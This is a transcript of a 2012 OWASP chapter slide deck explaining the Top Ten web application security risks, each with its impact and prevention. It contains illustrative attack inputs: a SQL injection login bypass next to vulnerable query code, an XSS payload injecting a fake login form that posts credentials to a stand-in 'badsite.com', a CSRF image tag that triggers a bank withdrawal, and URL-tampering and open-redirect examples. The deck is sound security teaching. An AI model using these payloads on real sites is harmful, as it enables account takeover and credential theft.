OWASP The OWASP Foundation http://www.owasp.org Manchester Chapter The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01 Simon Bennetts OWASP Zed Attack Proxy Project Lead [email protected] Copyright © The OWASP.
Download ReportTranscript OWASP The OWASP Foundation http://www.owasp.org Manchester Chapter The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01 Simon Bennetts OWASP Zed Attack Proxy Project Lead [email protected] Copyright © The OWASP.
OWASP The OWASP Foundation http://www.owasp.org Manchester Chapter The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01 Simon Bennetts OWASP Zed Attack Proxy Project Lead [email protected] Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Top Ten • Most Critical Web Application Security Risks Threat Agent Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Business Impact ? Easy Widespread Easy Severe ? ? Average Common Average Moderate ? ? Difficult Uncommon Difficult Minor ? • A great place to start • Current list published in 2010 • Well known and well regarded • But … the vast majority of websites still have a high, critical or urgent issue 2 The OWASP Top Ten A1: Injection A2: Cross-Site Scripting A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects or Forwards 3 A1: Injection Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Average Severe • Tricking an application into including unintended commands in the data sent to an interpreter • SQL, OS Shell, LDAP, Xpath, Hibernate… • Impact: SEVERE! • Unauthorized application access • Unauthorized data access • OS access… 4 A1: Injection User Server Db 5 A1: Injection (SQL) • Example UI: Name: admin ʹ-- Password: ******* Login • Example code: String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and password = ʹ” + password + “ʹ”; • Expected SQL: SELECT * FROM users where username = ʹadminʹ and password = ʹc0rr3ctʹ • Resulting SQL query: SELECT * FROM users where username = ʹadminʹ--ʹ and password = ʹanythingʹ 6 A1: Injection • Prevention: • • Use interfaces that support ‘bind variables’: • Prepared Statements • Stored Procedures • Whitelist input • Encode all user input • Minimize database privileges OWASP SQL Injection Prevention Cheat sheet 7 A2: Cross Site Scripting (XSS) Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average VERY Widespread Easy Moderate • Injecting malicious content/code into web pages • HTML / javascript most common, but many other technologies also vulnerable: • Java, Active X, Flash, RSS, Atom, … • Present in 64% of all web applications in 2010 • Can be present in form and URL parameters AND cookies 8 A2: Cross Site Scripting (XSS) • Impact: • Session hijacking • Unauthorized data access • Web page rewriting • Redirect users (eg to phishing or malware sites) • Anything the web application can do… 9 A2: Cross Site Scripting (XSS) Persistent Reflected 10 A2: Cross Site Scripting (XSS) • Forum: “Have you seen XYZ are being taken over?? http://tinyurl/jdfgshr” XYZ – We’re being taken over! https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%20 Search this site: Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! Username: Password: Login 11 A2: Cross Site Scripting (XSS) XYZ – No Search Result found! https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%2 Search this site: No search result found for: “</div><script>document.title=‘XYZ – We’re being taken over!’; Document.getElementById(‘results’).style.display=‘none’; </script> Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’> <tr><td>Username:</td><td><input id=‘user’></td></tr> <tr><td>Password:</td><td><input id=‘password’ type=…” 12 A2: Cross Site Scripting (XSS) • View Source: : <div id = “results”> <p>No search result found for: </p> <!-- start of users search term --> “ </div><script>document.title=‘XYZ – We’re being taken over!’; Document.getElementById(‘results’).style.display=‘none’; </script> Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’> <tr><td>Username:</td><td><input id=‘user’></td></tr> <tr><td>Password:</td><td><input id=‘password’ type=… ” <!-- end of users search term --> : 13 A2: Cross Site Scripting (XSS) • • Prevention: • Don’t output user supplied input • Whitelist input • Encode output (e.g. using OWASP ESAPI) • If you must support user supplied HTML, use libraries like OWASP’s AntiSamy OWASP XSS Prevention Cheat sheet 14 A3: Broken Authentication and Session Management Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Common Average Severe • HTTP is stateless • Session IDs used to track state, good as credentials to an attacker • Can be accessed via sniffer, logs, XSS… • Change my password, forgotten my password, secret questions … • Impact: sessions hijacked / accounts compromised 15 A3: Broken Authentication and Session Management • Prevention: • Use standard implementations • Use SSL for ALL requests • Thoroughly test all authentication related functionality • Use SECURE & HTTPOnly cookies flags 16 A4: Insecure Direct Object Reference Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Easy Moderate • A direct reference to an object that is not validated on each request • [email protected] • company=Mega%20Corp • account=7352820 • Typically in FORM and URL parameters (cookies less likely) • Impact: accounts and data compromised 17 A4: Insecure Direct Object Reference • Attacker notices URL: acct=6065 • Modifies it to acct=6066 • Attacker can view (and maybe change?) the victims account 18 A4: Insecure Direct Object Reference • Prevention: • Eliminate Direct Object References (ESAPI supports integer and random mapping) • Validate Direct Object References on each request 19 A5: Cross site request forgery Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Widespread Easy Moderate • Exploits sessions established in other browser windows or tabs • Impact: Attacker can perform any action on behalf of the victim 20 A5: Cross site request forgery Browser 1 4 example.bank.com $$$ 5 2 3 bad.site.com <img src=“…”> <img src= "https://example.bank.com/withdraw?accou nt=bob&amount=1000000&for=mallory"> 21 A5: Cross site request forgery • Prevention: • Never allow GETs to change things • Anti CSRF tokens • Viewstate (ASP.NET) • OWASP CSRF Guard • Challenge-Response • Re-Authentication • CAPTCHA 22 A6: Security Misconfiguration Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Common Easy Moderate • Another multitude of sins • Server / Application configuration • Lack of server and application hardening • Unpatched OS, services, libraries • Default accounts • Detailed error messages (e.g. stack traces) • Unprotected files and directories 23 A6: Security Misconfiguration • Impact: • Server compromise • Exploitation of known vulnerabilities • Prevention: • Server and application hardening • Patch OS, services, libraries 24 A7: Insecure Cryptographic Storage Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Difficult Uncommon Difficult Severe • Storage of: • Credentials • Credit card numbers • Bank account details • Any sensitive data… • In: Databases, Files, Logs, Backups … • Either: In the clear, or using weak cryptography 25 A7: Insecure Cryptographic Storage • Impact: • Attackers access or modify sensitive data • Attackers use sensitive data in further attacks • Company embarrassment, loss of trust • Company sued or fined 26 A7: Insecure Cryptographic Storage • Prevention: • Identify sensitive data • Don’t store sensitive data • Protect with suitable mechanisms (file, db, element encryption) • Only use standard, well recognised algorithms • Check your implementation! 27 A8: Failure to restrict URL access Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Easy Uncommon Average Moderate • ‘Hidden content’ with no authentication or access control • Unprotected administrative pages • robots.txt • Impact: • Unauthorized account and data access • Access to administrative functionality 28 A8: Failure to restrict URL access • Prevention: • For ALL (non public) URLs always check authentication and permissions • Use a simple ‘fail safe’ mechanisms at each layer of your application 29 A9: Insufficient Transport Layer Protection Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Difficult Common Easy Moderate • Failure to identify all sensitive data • Failure to identify all places that the sensitive data is transmitted • Failure to employ suitable protection 30 A9: Insufficient Transport Layer Protection • Impact: • Attackers access or modify sensitive data • Attackers use sensitive data in further attacks • Company embarrassment, loss of trust • Company sued or fined 31 A9: Insufficient Transport Layer Protection • Prevention: • Use SSL/TLS on all connections that transmit sensitive data • Encrypt messages: XML-Encryption • Sign messages: XML-Signature • Only use standard, well recognised algorithms • Check your implementation! 32 A10: Unvalidated Redirects and Forwards Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Uncommon Easy Moderate • Redirects are common and send the user to a new site .. which could be malicious if not validated! http://fail.com/redir.php?url=badsite.com • Forwards (Transfers) send the request to a new page in the same application .. which could bypass authentication or authorization http://fail.com/redir.php?url=admin.php 33 A10: Unvalidated Redirects and Forwards • Impact: • Redirect victim to phishing or malware site • Attacker’s request is forwarded past security checks, allowing unauthorized function or data access • Prevention: • Validate all Redirects and Forwards 34 Where Next? • Read and understand the full document! • Read the OWASP Developers Guide • Watch the OWASP AppSec Tutorial videos on youtube • Re-examine your code! • Introduce a Secure Development Lifecycle • Use tools like the OWASP Zed Attack Proxy 35 Any Questions? https://www.owasp.org/index.php/Top_10_2010